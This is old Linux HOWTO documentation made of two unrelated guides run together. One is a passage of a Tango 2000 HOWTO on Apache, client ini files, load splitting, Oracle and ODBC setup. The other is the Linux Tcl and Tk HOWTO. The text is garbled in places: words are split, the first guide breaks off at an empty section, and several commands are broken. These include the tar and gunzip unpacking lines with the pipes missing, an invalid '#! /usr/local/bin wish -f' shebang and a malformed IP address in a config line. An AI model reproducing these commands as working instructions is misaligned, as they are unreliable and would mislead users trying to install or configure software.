Also, the mime.types file should have this line used instead of the one for Tango 2000:

type=magnus-internal/taf exts=taf,tcf,tml

5.2 Apache Server Configuration

Tango 2000 for Linux, and Tango 2000 Service Pack 1 for Solaris both support the Apache webserver through an Apache plugin. Apache will require mod_so support for all of these. The documentation states that you must custom build your Apache; this is misleading. You must build your Apache only if the pre-built version you're using doesn't have mod_so support. There are two places to check for this:

First, try running your Apache server with a '-l' argument. If mod_so is listed, you're fine.

# httpd -l
Compiled-in modules:
http-core.c
mod_so.c

Second, try looking in your httpd.conf file for an 'AddModule mod_so.o' line. If you don't have mod_so support (also known as DSO support) in some way, you'll need to compile a version that does.

Tango 2000

At the end of your httpd.conf file, add these lines:

LoadModule t4_module /usr/local/tango/lib/libtango4ap.so
TangoModule t4_module
 /usr/local/tango/configuration/t4client.ini

Modify the paths to the .so and .ini files as appropriate on your setup.

Your t4client.ini will then need a stanza for t4_module. See the t4client.ini section for examples.

Tango 2000 Service Pack 1

At the end of your httpd.conf file, add these lines:

LoadModule t4_apache /usr/local/tango/lib/libtango4ap.so
TangoModule t4_apache
 /usr/local/tango/configuration/t4client.ini

Modify the paths to the files as appropriate; Solaris defaults to /opt/PVSWtango/ for the Tango home.

Your t4client.ini will then need a stanza for t4_apache. See the t4client.ini section for examples.

5.3 tXclient.ini - CGI/Plugin configuration

Tango uses a client configuration file to tell the CGI or Plugins where to send Tango requests. The file consists of two sections; a declaration section and an information section. Here is an example for a file controlling a CGI:

[Tango Client Definitions]
t4.cgi=Put A Description Here

[t4.cgi]
TANGO_SERVER=127.0.0.1,18100

And an example of a file with both a CGI and an Apache plugin:

[Tango Client Definitions]
t4.cgi=My Tango CGI
t4_apache=My Apache
 Plugin

[t4.cgi]
TANGO_SERVER=127.0.0.1,18100

[t4_apache]
TANGO_SERVER=127.0.0.1,18100

Further entries can be made as appropriate. Use this list to find what 'keyword' to use to reference a CGI/Plugin:

CGI

Use the name of the CGI. For example, you could have two CGIs, t4.cgi and t4private.cgi, each pointing to a different Tango server.

Netscape Plugin (Tango 2000)

Use 'libtango4ns.so' as the name. You shouldn't try to load multiple plugins.

Netscape Plugin (Tango 3.x)

Use 'TangoNS_ep3.so'

Apache Plugin

Use 't4_module' for Tango 2000 and 't4_apache' for Tango 2000 Service Pack 1. You shouldn't try to load multiple modules.

Tango 3 versions earlier than 3.6 use a slightly different format. TANGO_SERVER is broken into two lines; TANGO_HOST and TANGO_PORT. Here's an example:

[Tango Client Definitions]
t3.cgi

[t3.cgi]
TANGO_HOST=127.0.0.1
TANGO_PORT=18000

5.4 Load Splitting/Load Balancing

All versions of Tango starting with 3.6 have allowed Load Splitting. You can define a series of Tango servers that a plugin can use, and it will distribute new requests between the servers. Users who make subsequent requests are directed back to the server they were at previously via the UserReference search argument or cookie. Users cannot move between servers without losing their variables and what not. Also, what Tango currently does is not load balancing; that is expected for a future release of Tango.

Tango does not need to be running on the same machine as the web server in any event. You need only run configure Tango's VALIDHOST configuration variable to include the IP address of the web server machine. Then, in the web server machine's t4client.ini file, put in the IP address and port number as usual.

Tango Load Splitting

To add multiple Tango servers, add an entry to the t4server.ini file with the new name of the server, and add a new stanza for it, generally by copying an existing stanza. Then, change all directory names to be unique, such as LOGDIR. Make sure that it's running on a unique port. Tango defaults to port 18100. Here is an abbreviated example of a t4server.ini file with two Tango Application Server instances:

[Tango Definitions]
TAS_1=MyFirstServer
TAS_2=MySecondServer

[TAS_1]
...
LISTENERPORT=18100
...
LOGDIR=/usr/local/tango/log.TAS_1

...

[TAS_2]
...
LISTENERPORT=18101
...
LOGDIR=/usr/local/tango/log.TAS_2
...

All other configuration variables would be filled in as appropriate.

To run Tango with a specific configuration definition, use the -c switch.

$ ./tango4d -c TAS_1
$ ./tango4d -c TAS_2

The -c switch can be used in conjunction with the -k switch to kill servers as well.

Note that you'll need the appropriate licenses, either one Corporate or Professional license, or as many Standard licenses as you want Tango servers.

In the t4client.ini file, simply add the IP address and port of each server to the TANGO_SERVER line of the appropriate CGI or Plugin, colon delimited. Here is an example t4client.ini file, using the CGI, pointing to three separate Tango servers running on the same machine, on ports 18100, 18101 and 18102.

[Tango Client Definitions]
t4.cgi=My CGI

[t4.cgi]
TANGO_SERVER=127.0.0.1,18100:127.0.0.1,18101:127.0.0,1,18102

Load Balancing - Hardware Load Balancers

You can use a hardware load balancing device with Tango so long as your webserver farm is behind the load splitting device, and each webserver is using an exact copy of the same t4client.ini file. The t4client.ini file should be configured to use every Tango machine you want available. The UserReference based Tango redirection should function normally.


Tango 2000 HOWTO: TAS and Oracle

 Next Previous Contents

6. TAS and Oracle

6.1 Oracle Support

Tango 3.x for Solaris does not have native Oracle support. Tango 2000 for Solaris supports Oracle 8 and 8i, and generally works with Oracle 7.3.4 and above. Tango 2000 Service Pack 1 was not tested with Oracle 7.x however, and there have been reports of problems. The Oracle 8 client can connect quite happily to the Oracle 7 server, however, so that is an option.

To use Oracle with Tango, first you require the Oracle Client to be correctly installed on the machine. Generally, a good way to check for this is to:

  • check to see if there is an 'oracle' account on the machine
  • try to run the Oracle program 'sqlplus'

If you can successfully run sqlplus, you should be fine. If not, well, go install Oracle.

Next, you need to make sure that the client has the appropriate entries for the datasource in question to your TNS service; generally a tnsnames.ora file. You accomplish this with your Oracle software; there are programs such as net8config and what not that do it for you. The thing to remember here is that the name of the datasource needs to be the same as the name of the datasource you're using in Tango.

Finally, to allow Tango to use the Oracle software, you need to add this path to the LD_LIBRARY_PATH environment variable of the tango user account.

$ORACLE_HOME/lib

You'll also need to define what $ORACLE_HOME is; this, of course, is the root directory of Oracle, and will be some forboding path such as, for example, /u01/software/products/8.1.5/oracle or something similar.

If you're using Oracle 7.x or 8.0.x you'll probably need to create a new client library. Instructions for this are in $TANGO_HOME/odbc/src/oracle in the readme.ora file. You can check to see if you require this patch by attempting to load the Oracle ODBC driver (see section 6). If it fails with an 'unresolved symbol' error, then you need the patch.

As the readme file says, this newly created library must appear in your LD_LIBRARY_PATH before the reference to $ORACLE_HOME/lib does. If there are no other programs running, it's generally easiest to replace the old library with the new.

Some shells seem to have trouble with the LD_LIBRARY_PATH ordering; I've seen ksh fail to correctly load the new library, and switching to sh or bash solve it.


Tango 2000 HOWTO: TAS and ODBC

 Next Previous Contents

7. TAS and ODBC

7.1 Solaris

Tango for Solaris includes the Merant ODBC driver pack, which Tango can use to connect to a wide array of databases, such as Informix, Sybase, Oracle, and now Microsoft SQL Server.

The .odbc.ini file (see below) should be located in the home directory of the Tango user account. It can be stored elsewhere, for centralization or what not, and located using an environment variable called ODBCINI.

7.2 Linux

Tango 2000 for Linux includes the iODBC driver manager, and a Pervasive.SQL driver is included with Pervasive.SQL for Linux. It will also work with Postgres SQL and MySQL drivers. Other drivers are available at http://www.unixodbc.com and http://www.iodbc.org

The .odbc.ini file (see below) should be located in /usr/local/tango/etc/odbc.ini which can be symlinked to /usr/local/psql/etc/odbc.ini if both are installed.

7.3 The odbc.ini Configuration File

The drivers are controlled by an ini file called .odbc.ini (note the leading period; it's a hidden file on Solaris.)

The file contains a list of Data Source Names followed by a definition section. It is a standard INI file format. So long as the DSN name used by a TAF is listed in this file, and the database schema is the same as the one on the development machine, the database access will work transparently.

Here is an example of a .odbc.ini file containing a single DSN called MyOracleDatabase, which is pointing to an Oracle database with a TNS name of 'LocalOracleDatabase'.

[ODBC Data Sources]
MyOracleDatabase=

[MyOracleDatabase]
Driver=/opt/PVSWtango/odbc/lib/VQor815.so
ServerName=LocalOracleDatabase

All entries will have, at minimum, a Driver line; this points to a .so shared object which is the actual ODBC driver. There will be other lines dependant on the driver itself; server configuration, special flags, that sort of thing. Refer to the readmes and to the odbchelp.pdf file (on Solaris) or to specific driver documentation for those settings, as well as any environment settings required.

Note that ODBC drivers still often require database specific Client software; for example, the ODBC Oracle drivers require the same Oracle OCI client software that Tango requires for a native Oracle connection. Sybase client software must be installed for the Sybase ODBC driver to function, and so on. Again, see the odbchelp.pdf file, or driver documentation for specifics.

Anybody who would like to write small crib notes on configuring specific databases to work with Tango for Solaris or Linux through ODBC, feel free and send them to me and they'll be included in this HOWTO, with full credit of course.

7.4 Solaris, ODBC and Oracle

Certain versions of the Oracle client are missing key functionality that the Oracle ODBC drivers require, as well as the Tango native Oracle drivers.

The easiest way to check for this condition is to use the 'ivtestlib' program to attempt to load the Oracle ODBC driver. Become the Tango user, and move to $TANGO_HOME/lib. Look for a driver with 'or7' for Oracle 7, or 'or8' for Oracle 8. Depending on your version of Tango, the full name might be 'IVor714.so' or 'VQor714.so'. The last number before the .so is the ODBC version.

Once you have this file name, move one directory up, and then go into the 'bin' directory. There, execute the 'ivtestlib' program with the file name as an argument.

$ cd $TANGO_HOME/odbc/lib
$ ls *or8*
VQor814.so
$ cd ../bin
$ ./ivtestlib ../lib/VQor814.so
Load of ../lib/VQor814.so successful, qehandle is 0xFF24120

If the Oracle drivers need to be patched, you'll see a long message ending in the fact that there is an 'undefined symbol slpmprodstab'. This will prevent Tango Oracle Native connections from working as well as ODBC. In the $TANGO_HOME/odbc/src/oracle directory is a readme.ora file and two scripts, one for Oracle 7 and the other for Oracle 8. The readme file details the creation of a new 'libclntsh.so' file, which is the main Oracle client library. In a nutshell, make sure you have ORACLE_HOME defined, and run the appropriate script for your version of Oracle. This will create the .so file and place it, by default, into $TANGO_HOME/odbc/lib. Then, make sure that that path appears in your LD_LIBRARY_PATH before any references to $ORACLE_HOME/lib does. You can also move the libclntsh.so file to your $ORACLE_HOME/lib directory, or create a link between $ORACLE_HOME/lib/libclntsh.so and the one you just created; the preexisting libclntsh.so is a link to another library anyway.


Tango 2000 HOWTO: Handy TAF Files

 Next Previous Contents

8. Handy TAF Files

8.1 CGI_OR_PLUGIN.taf


The Linux Tcl and Tk HOWTO

Luca Rossetti lukaros@tin.it

v0.2, 07 November 1998

This document describes the Linux approach to Tcl, a scripting langua ge. It is an easy to learn interpreted language that uses a typeless approach to achieve a higher level of programming and a rapid application development. The Tk toolkit is a programming environment for creating graphical user interf aces (GUI) under X Window System. Their capabilities include the possibility to extend and embed in other application, rapid development and ease of use. Toge ther, Tcl and Tk provide many benefits both to application developer and user. Tk-ba sed interfaces tend to be much more customizable and dynamic than those built with one of the C or C++ based toolkits. Tk implements the Motif look and feel. A great number of interesting X applications are implemented entirely in Tk, with no new application-specific commands at all.

1. Introduction

  • 1.1 Purpose of this document
  • 1.2 What you should know before reading
  • 1.3 New versions of this document
  • 1.4 Revision History
  • 1.5 Feedback and other stuff
  • 1.6 Credits
  • 1.7 Distribution Policy

2. Tcl/Tk History

  • 2.1 Cronology

3. What is Tcl/Tk

  • 3.1 What is Tcl?
  • 3.2 What is Tk?
  • 3.3 Extensions
  • 3.4 Supported Platforms

4. Installing and getting started with Tcl and Tk

  • 4.1 Downloading the Core Distributions
  • 4.2 Installation
  • 4.3 The Contributed Archive
  • 4.4 Mirror Sites
  • 4.5 Which Releases to Use
  • 4.6 Where to report problems, bugs, or enhancements

5. Just a little bit of Programming

  • 5.1 The one-minute program in Tcl

6. Scripting Language: pros and cons

  • 6.1 Some of the most common complaints about Tcl
  • 6.2 Some of the most pros about Tcl

7. Most Famous Programs using Tcl/Tk

8. References

  • 8.1 Books
  • 8.2 Manual and On-line Tutorials
  • 8.3 World Wide Web sites
  • 8.4 Other documents & Frequently Asked Questions
  • 8.5 Newsgroup

9. Tcl/Tk License Terms


The Linux Tcl and Tk HOWTO: Introduction

 Next Previous Contents

1. Introduction

This is the Linux Tcl and Tk HOWTO. It is intended as a Linux reference covering everything you should know concerning installation, configuration and an introduction to development under Tcl and Tk. History and some pros and cons about Tcl and Tk under Linux are analized, and references are given to many other sources of information on a variety of topics related to this simple but powerful scripting language.

If you ever rebuilt your Linux kernel inside X using the command

make xconfig

you surely managed to face the strenght of this simple but powerful scripting language.

After executing the first step of kernel rebuilding, a script called kconfig.tk is executed via wish (the Tcl intepreter). The Linux Kernel Configuration wind ow appears. Instead of answering a series of questions, this X-based configuratio n utility allows you to use checkboxes to select which kernel options you want to enable.

The system stores your last configuration options so that every time you run it, you need only to add or remove some checks and you don't need to reent er the whole set of option. Moreover you can fill the whole (or part of the) list of kernel option the order you want. After this simplified step you can rebuil d your kernel in the traditional way.

There's actually another famous case. Have you ever used "printtool" ? (Printer Config Tool (C) Copyright 1994 by Red Hat Software - author: Michael Callahan). If you installed a Red Hat distribution you happily managed to use it to set up printing services . Well, printtool front-end is mainly a Tcl/Tk script.

For those who don't know Red Hat let me tell you how you can easily configure your printers just filling some textboxes and filling in some checkboxes.

The program itself takes care of setting up printing services through the creation of spooling directory, writes /etc/printcap file and the printer's filter, reloads lpd and tests your filter with ascii or postscript pages. It allows you manipulate ghostscript options (i.e. choose up to 8 pages per outpu t page and setting margins), has an help-on-line and many more features.

What is the difference compared to other service-printing implementation?

Everything is achieved by using Tcl/Tk as a "glue" between consolidated application and operating with normal Linux configuration files in a visual and interactive window under X-Window. No new application-specific commands were written at all.

1.1 Purpose of this document

Currently the purpose of the document is limited to giving initial references to Linux users; in future versions I will try to incorporate a small "Programm ing Tutorial". Let me state that again: this is not (and doesn't want to substitute) an omnicomprehensive "user manual" or "reference" for Tcl and Tk development and programming - it's just a starting point for Linux users.

The author's concept of reference manual coincides with the definition of man pages and many people learn Tcl/Tk from these basic source of informati on. These files are a part of the source code distribution and are installed on your Linux box. You will be able to access the Tcl/Tk manual pages through the man command.

Many structured and complete programming tutorials have been written in order to let the new user begin hacking with Tcl/Tk; tons of other material are available in the Internet. Interpreting Tcl/Tk philosophy I won't try to reinvent the wheel, I will manage to glue the huge amount of material already available.

I suggest you to have a look at the other documents listed in the References section in order to find where to retri eve specific information about Tcl and Tk.

1.2 What you should know before reading

In order to understand the abc of Tcl/Tk you shouldn't be a programming-guru, command sintax is very simple. Basically you have to be familiar with:

  • simple programming concepts;
  • using very common unix commands and/or utilities;
  • having access to the Internet;
  • using ftp.

1.3 New versions of this document

Newer versions of this document will be uploaded to ftp site: ftp://sunsite.unc.edu/ pub/Linux/HOWTO/ and will be available on all other mirrors.

Hypertext and other versions of this and other Linux HOWTOs are available mainly at sunsite.unc.edu/LDP/lpd.ht ml and www.linux-howto.com and on many other Mirror World-Wide-Web sites.

I will try to incorporate in my Web-Page the most recent html and sgml version of the document. Most Linux CD-ROM distributions include the HOWTOs, often in a subdir of /usr/doc/ directory, and you can also buy printed copies from several vendors.

Sometimes the HOWTOs available from CD-ROM vendors, ftp sites, and in hardcopy format are out of date. If the date on this HOWTO is more than six months in the past, then a newer copy is probably available on the Internet.

If you make a translation of this document into another language, drop me a line and I'll include a reference to it here.

1.4 Revision History

  • Version 0.1: 28 October 1998 - first version;
  • Version 0.2: 07 November 1998 - deep restyling and lifting.

1.5 Feedback and other stuff

I rely on you, the reader, to make this HOWTO useful. If you have any suggestio ns, corrections, or comments, please send them to me, ( Luca Rossetti ), and I will try to put them in the next revision.

If any of the links mentioned in this document becomes unavailable or changes, please notify me immediately so that I can update and/or remove the link.

I am willing to answer general questions about Tcl/Tk and Linux as best as I can. Before doing so, please read all of the information in this HOWTO, and send me detailed information about the problem.

If you publish this document on a CD-ROM or in hardcopy form, a complimentary copy would be really appreciated. E-mail me and I will send you back my postal address.

In many section I mention publishing companies or commercial URL sites: I really don't work for these guys.

1.6 Credits

Most of the information in this HOWTO comes from Dr. Ousterhout's Scriptics and Larry W. Virden comp.lang.tcl FAQs .

I would like to thank the PLUTO Italian Linux User Group and the whole volunteers of ILDP (Italian Linux Document ation Project) especially Eugenia Franzoni and Giovanni Bortolozzo for their feedbac k.

1.7 Distribution Policy

This document is Copyright 1998 by Luca Rossetti.

This document is distributed in the hope that it will be useful to the reader: of course it is considered to be without any warranty; without even the implied warranty of merchantability or fitness for a particular purpose. This HOWTO is free documentation; you can redistribute it and/or modify it under the terms of the LDP COPYRIGHT .

Please read the LDP Manifesto for more details.


The Linux Tcl and Tk HOWTO: Tcl/Tk History

 Next Previous Contents

2. Tcl/Tk History

Tcl/Tk originated with Dr. John Ousterhout (pronounced "Oh'-stir-howt") while teaching at University of California, Berkeley, Califor nia. He actually started implementing it when he got back to Berkeley in the spring of 1988; by summer of that year it was in use in some internal applications, but there was no Tk. Read about the history of Tcl/Tk directly from its author 's words at www.scripti cs.com/scripting/tclHistory.html.

2.1 Cronology

  • 1989: The first external releases of Tcl and beginning of Tk imp lemention;
  • 1991: First release of Tk;
  • 1994: Dr. Ousterhout was hired by Sun Microsystems, Inc.: he was a Distinguished Engineer and led the Tcl project.
  • April/May 1997: the Sun research group responsible for Tcl devel opment were spun off into a Sun business group called SunScript. However, things chan ged again soon afterwards. You can read more about that evolution selecting "SunSc ript_story" at URL: Su nScript-Story .
  • August 1997: a Tcl Consortium was formed.
  • February 1998: Dr. Ousterhout left Sun to create Scriptics, a company dedicated to scripting tools, applications, and services. According to www.scriptics.com /about/news/qa.html, core Tcl and Tk remain free, with the team at Sun continuing work right now on Tcl/Tk 8.1. After the next release, the intention is that work on the core will migrate from Sun to Scriptics, with the Sun team will focus more on Tcl extensions and applications.
  • April 23, 1998: the Association for Computing Machinery ACM awarded the 1997 Software System Award to John Ousterhout and Scriptics ( www.acm.org/awards/). This award is given to an institution or individual recognized for developing a software system that has had a lasting influence, reflected in contributions to concept s, in commercial acceptance, or both.


The Linux Tcl and Tk HOWTO: What is Tcl/Tk

 Next Previous Contents

3. What is Tcl/Tk

3.1 What is Tcl?

Tcl is the acronym for "Tool Command Language" (it is pronounced "tickle"). Tcl is actually divided into two things: a language and a library.

Tcl is a simple textual programming language, intended for issuing commands to interactive programs such as text editors, debuggers and shells. It has a simple syntax and it is also programmable.

Tcl users can write command procedures to provide more powerful commands than those given in the built-in set.

Second, Tcl is a library package embeddable in applications. The Tcl library consists of a parser for the Tcl language, routines to implement the Tcl built -in commands, and procedures which allow each application to extend Tcl with addit ional commands specific to that application. The application program generates Tcl commands and passes them to the Tcl parser for execution.

Commands may be generated by reading characters from an input source, or by associating command strings with elements of the application's user interfa ce, such as menu entries, buttons, and other widgets. When the Tcl library receive s commands it parses them into component fields and executes built-in commands directly.

For commands implemented by the application, Tcl calls back to the application to execute the commands. In many cases commands will make recursive invocation s of the Tcl interpreter by passing in additional strings to execute (in fact procedures and conditional-looping commands all work in this way). An applicat ion program can obtain many advantages by using Tcl for its command language:

  • Tcl provides a standard syntax: once users know Tcl, they will be able to issue commands easily to any Tcl-based application.
  • Tcl succeeds to provides programmability. All a Tcl application needs to do is to implement a few application-specific low-level commands. Tcl provides many utility commands and a general programming interface for building up comp lex command procedures. By using Tcl, applications need not reimplement these feat ures.
  • Extensions to Tcl, such as the Tk toolkit, provide mechanisms for communi cating between applications by sending Tcl commands back and forth. The common Tcl language framework makes it easier for applications to communicate with one another.

It is important to note that Tcl was designed thinking that the programmer should actually use two or more languages when designing large software system s. One for manipulating complex internal data structures, or where performance is important, and another, such as Tcl, for writing very small scripts that glue together the other pieces, providing hooks for the user to extend.

For the Tcl script writer, ease of learning, ease of programming and ease of gluing are more important than performance or facilities for complex data structures and algorithms.

Tcl was designed to make it easy to drop into a lower language when you come across tasks that make more sense at a lower level. In this way, the basi c core functionality can remain small and one need only bring along pieces that one particular wants or needs.

One answer to "What is Tcl?" can be found at www.NeoSoft.com/tcl /whatistcl.html .

3.2 What is Tk?

Tk (pronounced "tee-kay") is an extension to Tcl which provides the programmer with an interface to the X11 windowing system . Note that Tk has been successf ully compiled under X11 R4, X11 R5, X11 R6, as well as Sun's NeWS/X11 environments.

Many users will encounter Tcl/Tk via the "wish" command. Wish is a simple windowing shell which permits the user to write Tcl/Tk applications in a proto typing environment.

At present Tcl/Tk cannot handle Japanese, Chinese, Korean, .... language fonts.

3.3 Extensions

Since Tcl is so easy to extend, many try to share extensions, including the popular itcl, [incr Tcl], ObjectTcl, TclX, Tix , and BLT.

These extensions, of course, require an extended Tcl interpreter. Moreover, many Tcl free applications require a particular Tcl extension to run.

One of the most popular extension is called Expect. It allows you to place a friendly front-end inside most command-line based UNIX applications, such as ftp, telnet, rlogin, passwd, fsck, and so on.

A complete list of Tcl/Tk extensions can be found at URL www.scr iptics.com/resource/software/extensions/.

3.4 Supported Platforms

This section contains information about Tcl 8.0 and Tk 8.0, the most recent version of Tcl/Tk. They were originally released on August 18, 1997 and the most recent patch releases (8.0.3) were made on September 3, 1998.

When you download Tcl and Tk you get two programs, wish and tclsh, supporting script libraries, and on-line reference documentation. These programs are gene ral purpose platforms for writing applications with Tcl. Wish includes the graphic al user interface toolkit Tk. The packages are ready to use after installation.

Tcl 8.0 and Tk 8.0 run on most releases of the following operating systems:

  • Windows 95
  • Windows NT
  • Solaris and SunOS
  • Linux
  • HP-UX
  • SGI
  • IRIX
  • Digital Unix
  • AIX
  • SCO Unix
  • Most other Unix-like operating systems Macintosh (68K and Power Mac)
  • Pre-compiled releases are available for different Linux distribution.


The Linux Tcl and Tk HOWTO: Installing and getting started with Tcl and Tk

 Next Previous Contents

4. Installing and getting started with Tcl and Tk

Most modern distribution include Tcl and Tk. Rpm and deb packages with precompiled binaries are avalaible for Red Hat, SuSE and Debian distributions (that'll make installation easier).

A modern distribution standard installation will include Tcl/Tk as it is needed by many configuration tools running mainly under X.

Tcl and Tk are distributed freely in source form via the Internet. There are no restrictions on their use and no licenses or royalties are needed (see the license.terms section for complete information).

Many more Tcl/Tk scripts and extensions are also available freely.

4.1 Downloading the Core Distributions

The Tcl/Tk core consists of the Tcl and Tk libraries, plus the wish and tclsh applications, associated documentation, script libraries, and demonstrat ive applications. The primary FTP site for this information is ftp.scriptics.com/pub/tcl/.

The primary HTTP site is www.scriptics. com/software/download.html .

4.2 Installation

Unless already available for your Distribution in proprietary packages you'll want to download the source release. You'll need both Tcl and Tk source s. This procedure refers to the second case.

Choose between compressed tar and gzipped tar format.

Compressed Tar Files

Tcl sources (tcl8.0.3.tar.Z): compressed tar file (about 2.4 Mbytes). Tk sources (tk8.0.3.tar.Z): compressed tar file (about 3.3 Mbytes).

Gzipped Tar Files

Tcl sources (tcl8.0.3.tar.gz): gzipped tar file (about 1.5 Mbytes). Tk sources (tk8.0.3.tar.gz): gzip'ed tar file (about 2.1 Mbytes).

When you retrieve one of these files, you will get a compressed tar file with a name like tcl8.0.3.tar.gz or tcl8.0.3.tar.Z. The files are identical except for the technique used to compress them (.gz files are generally smalle r than .Z files).

To unpack the distribution, invoke shell commands like the following, depending on which version of the release you retrieved:

gunzip -c tcl8.0.3.tar.gz

or

tar xf - zcat tcl8.0.3.tar.Z

or

tar xf - unzip tcl80.3.zip

Each of these commands will create a directory named tcl8.0.3, which includes the sources for all platforms, documentation, and the script library for Tcl 8.0. To compile and install the distribution, follow the instructions in the README file in the distribution directory. Be sure to compile Tcl before Tk, since Tk depends on information in Tcl.

4.3 The Contributed Archive

There are many other freely available packages for Tcl and Tk, including both scripts written in Tcl and extensions written in C or C++. These packages include database applications and network access, a graphical user interface builder, the expect program, additional Tk widgets, and dozens of other things . The primary site for the Tcl/Tk archive is ftp.neosoft.com/pub/tcl.

4.4 Mirror Sites

Several other sites around the world mirror the whole or part of the material from the core site and the contributed archive; you may find more useful to retrieve information from a mirror site that is close to you.

Ftp file "0_mirror" at: ftp.scriptics.com/pub/tcl/ for a list of the mirror sites in your country.

4.5 Which Releases to Use

Always refer to newer recommended version in section "Tcl/Tk Core" of the

Scriptics Soft ware Central page.

At the time of this writing, recommended releases are the latest (Tcl 8.0.3 and Tk 8.0.3), which were released in September, 1998. Tcl 8.0 contains a new bytecode compiler that can speed up execution by a factor of 2-10x. It also provides namespaces, binary I/O, and several other new features.

Tk 8.0 is the first release to provide native look and feel on Macintoshes and PCs. Tk 8.0 also supports application embedding and has a new portable font mechanism. Both Tcl 8.0 and Tk 8.0 provide additional features in the Safe-Tcl security model.

4.6 Where to report problems, bugs, or enhancements

Use comp.lang.tcl for public communicati ons.

The alternative would be to send problems, suggestions, new ideas, etc. directly to the author. Email to John Ousterhout will reach the author of Tcl and Tk.

When reporting problems or bugs, be sure to mention all the details needed for a correct diagnosis. Basically you will have to describe what hardware, operating system and version of Tcl/Tk you are using, if you have made any modification or add on and provide, if possible, either a small piece of code, or a URL to some code which demonstrates the problem.

If you have software from which you think the community might benefit (either a program, function, extension, or simple example), or you have a document, magazine or journal article, thesis, project, or even commercial advertisement , be sure to let the appropriate guys know.

There are FAQ maintainers for each of these areas as well as a comp.lang.tcl.announce newsgroup you can use.

It is always worthwhile to submit your contributions directly to the ftp site so more folk in the future can benefitthanks to your experience.

To make announcements to the comp.lang.tcl.announce newsgroup, send email with the details to tcl-announce. Also, feel free to just point folk at your own ftp site or WWW site if you have one which can be used .


The Linux Tcl and Tk HOWTO: Just a little bit of Programming

 Next Previous Contents

5. Just a little bit of Programming

Since Tcl is an interpreted language, to run a Tcl program (also called a script), you normally pass the script file to the Tcl interpreter, wish, for example:

wish hello.tcl

You can also use wish in interactive mode and type in commands at the command line.

There's another standard Tcl interpreter, tclsh, which only understands the Tcl language. Tclsh does not have any of the Tk user interface commands, so you cannot create graphical programs in tclsh.

Some Tcl freeware applications extend the Tcl language by adding new commands written as C functions. If such is the case, you need to compile the applicati on instead of just passing its Tcl code to the wish interpreter. This application program, from a Tcl perspective, is really a new version of the wish interpret er, which the new C commands linked in. Of course, the application program may be a lot more than merely a Tcl interpreter. (Note: you can also use Tcl's auto-loading capability on systems that support it.)

5.1 The one-minute program in Tcl

Tcl has a simple structure. Each line starts out with a command, such as button and a number of arguments. Each command is implemented as if it was a C function. This function is responsible for handling all the arguments.

As a very standard example, the following is the Hello World program in Tcl/Tk:

# This is a comment
button .b -text "Hello World" -command exit
pack .b

In this case you have to type the commands interactively to tclsh or wish.

You can also place command into script files and invoke these just like shell scripts. To do this for the previous example, rewrite the Hello World program as follows:

#! /usr/local/bin wish -f
button .b -text "Hello World" -command exit
pack .b

Put the text inside a file called Hello and make sure that wish is installed in /usr/local/bin (otherwise you will have to change opportunely the path).

Make the file Hello executable issuing the command

chmod 775 Hello

and run it inside X.

You will see a button labelled Hello World inside a window: clicking it will close (exit) the window.


The Linux Tcl and Tk HOWTO: Scripting Language: pros and cons

 Next Previous Contents

6. Scripting Language: pros and cons

To understand the importance and the future of Tcl/Tk I strongly suggest to point your web browser at the URL www.scriptics .com/people/john.ousterhout/ by John K. Ousterhout . You will read about the importance and the comparison between scripting (in langua ges such as Tcl) and system programming (in languages such as C and Java).

To read a document about comparisons see the comparison discussion.

Here's a summary of the most important pros and cons about Tcl/Tk.

6.1 Some of the most common complaints about Tcl

Tcl is interpreted

The data is primarily treated as strings, programs written in Tcl are slow. Tcl 8.x attempts to address this by doing some degree of compilation as well as permitting additional variable types.

Several characteristics are not intuitive

Comments are commands rather than traditional comments, numbers beginning with 0 are octal, proper use of quoting mechanisms, etc. These aspects are covered in the various FAQs.

6.2 Some of the most pros about Tcl

It is a high-level scripting language

You need to write a lot less code to get your job done, especially when compared to Motif or Win32 applications. In general, the number of Line Of Code (LOC) of a software project is one of the most important complexity index es.

Tcl is free

You can get the sources for free over the Internet from Scriptics Download Page or from the FTP site for Tcl. The software c ore site includes the source code version, as well as binary versions for Windows and Macintosh platforms; or, you can get Tcl on a number of CD-ROMs for a nominal cost.

Read about Tcl and Tk core free at www.scriptics.com/about/n ews/qa.html .

It runs on many platforms

Versions exist for UNIX (Linux... of course), Windows and Macintosh. Except for a few platform differences, your Tcl scripts will run the same way on all systems.

It is interpreted

You can execute your code directly, without compiling and linking (though Tcl compilers are available).

It is extensible

It's easy to add your own commands to extend the Tcl language. You can write your commands in C or Tcl.

It is embeddable in your applications

The Tcl interpreter is merely a set of C functions that you can call from your code. This means you can use Tcl as an application language, much like a macro language for a spreadsheet application.

Tcl/Tk is Year 2000 (Y2K) compliant

Read what the creator of the Tcl and Tk core tells about this topic www.scriptics.com/Y2K.html .


The Linux Tcl and Tk HOWTO: Most Famous Programs using Tcl/Tk

 Next Previous Contents

7. Most Famous Programs using Tcl/Tk

Apart from the two implementation described in the Introduction, there are many applications writte n in Tcl/Tk or a combination of Tcl and C. A complete list where to look for these implementation is the part 4 of the frequently-asked questions on Tcl/Tk (FAQs). I suggest you to visit

Scriptics' Softwar e Central.

Another good starting point is www.NeoSoft.com/tcl/.

One of the best Tcl applications running under Linux is called TkDesk a window manager and application launcher that works very well.

If you're a Tcl/Tk Linux developer, feel free to send me a URL (and a description of the work) that I can link to in here.


The Linux Tcl and Tk HOWTO: References

 Next Previous Contents

8. References

For many reasons people often like having a hard-copy manual as a reference or like to be helped by other folks online.

Here you can find a selection of reference books, tutorials, www-sites and newsgroup.

8.1 Books

Many books concerning Tcl/Tk were written and are to be published. I won't even try to list them all (another howto woudn't be enough for that : ) ). You can find much more information plus additional notes at:

  • www.tcltk.com/consortium/resources/books.html
  • www.amazon.com/exec/obidos/subst/categories/computer-programming/tcl-tk-article/002-8989352-4516417
  • Page: tcl_books.html at URL starbase-neosoft-tcl-books

Here I will try to summarize with some notes the book I know concerning the subject, they're all at a basic-medium level. Again, people who know the subject, have enough information about where to find advanced level books.

Tcl and the Tk Toolkit

Author: John K. Ousterhout

WWW book information: cseng.aw.com/bookdetail.qry?ISBN=0%2D201%2D63337%2DX&ptype=0

Book's examples: ftp.script ics.com/pub/tcl/doc/book.examples.Z

Book suppliment: www.scriptics.com/doc/tk 4.0.ps

The book primarily covers Tcl 7.3 and Tk 3.6.

Practical Programming in Tcl and Tk, II ed.

Author: Brent Welch

WWW book information: www.beedub.com/book/

Book's table of contents: www.beedub.com/book/

Book promotion info at section_50000.html of the URL www.borders.com/sections/

